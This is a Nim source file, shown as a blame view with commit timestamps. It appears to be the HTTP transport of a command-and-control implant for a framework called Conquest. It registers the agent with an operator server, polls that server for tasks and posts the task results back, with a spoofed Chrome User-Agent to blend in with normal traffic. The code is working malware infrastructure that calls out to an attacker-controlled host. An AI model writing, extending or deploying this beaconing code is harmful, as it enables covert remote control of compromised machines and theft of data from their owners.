2025-05-19 21:56:34 +02:00
|
|
|
import httpclient, json, strformat, asyncdispatch
|
|
|
|
|
|
2025-07-25 16:41:29 +02:00
|
|
|
import ../../common/[types, utils]
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
# Define HTTP headers
|
|
|
|
|
client.headers = newHttpHeaders({
|
|
|
|
|
"Content-Type": "application/octet-stream",
|
|
|
|
|
"Content-Length": $registrationData.len
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
let body = registrationData.toString()
|
2025-05-19 21:56:34 +02:00
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
# Register agent to the Conquest server
|
2025-07-21 22:07:25 +02:00
|
|
|
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
|
|
|
|
|
|
2025-05-23 10:02:17 +02:00
|
|
|
except CatchableError as err:
|
2025-05-23 16:02:16 +02:00
|
|
|
echo "[-] [register]:", err.msg
|
2025-05-19 21:56:34 +02:00
|
|
|
quit(0)
|
2025-07-21 22:07:25 +02:00
|
|
|
|
2025-05-19 21:56:34 +02:00
|
|
|
finally:
|
|
|
|
|
client.close()
|
|
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
return true
|
|
|
|
|
|
2025-07-22 21:00:39 +02:00
|
|
|
proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
2025-07-18 18:47:57 +02:00
|
|
|
var responseBody = ""
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-22 21:00:39 +02:00
|
|
|
# Define HTTP headers
|
|
|
|
|
client.headers = newHttpHeaders({
|
|
|
|
|
"Content-Type": "application/octet-stream",
|
|
|
|
|
"Content-Length": $checkinData.len
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
let body = checkinData.toString()
|
|
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
try:
|
|
|
|
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
2025-07-22 21:00:39 +02:00
|
|
|
responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body)
|
2025-07-18 18:47:57 +02:00
|
|
|
return responseBody
|
|
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
2025-07-19 16:49:27 +02:00
|
|
|
echo "[-] [getTasks]: " & err.msg
|
2025-07-18 18:47:57 +02:00
|
|
|
|
|
|
|
|
finally:
|
|
|
|
|
client.close()
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
return ""
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
# Define headers
|
|
|
|
|
client.headers = newHttpHeaders({
|
|
|
|
|
"Content-Type": "application/octet-stream",
|
|
|
|
|
"Content-Length": $resultData.len
|
|
|
|
|
})
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
let body = resultData.toString()
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
echo body
|
2025-05-23 16:02:16 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
try:
|
|
|
|
|
# Send binary task result data to server
|
2025-07-21 22:07:25 +02:00
|
|
|
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
|
2025-07-19 16:49:27 +02:00
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
|
|
|
|
echo "[-] [postResults]: " & err.msg
|
|
|
|
|
return false
|
|
|
|
|
finally:
|
|
|
|
|
client.close()
|
2025-05-22 20:03:22 +02:00
|
|
|
|
|
|
|
|
return true
|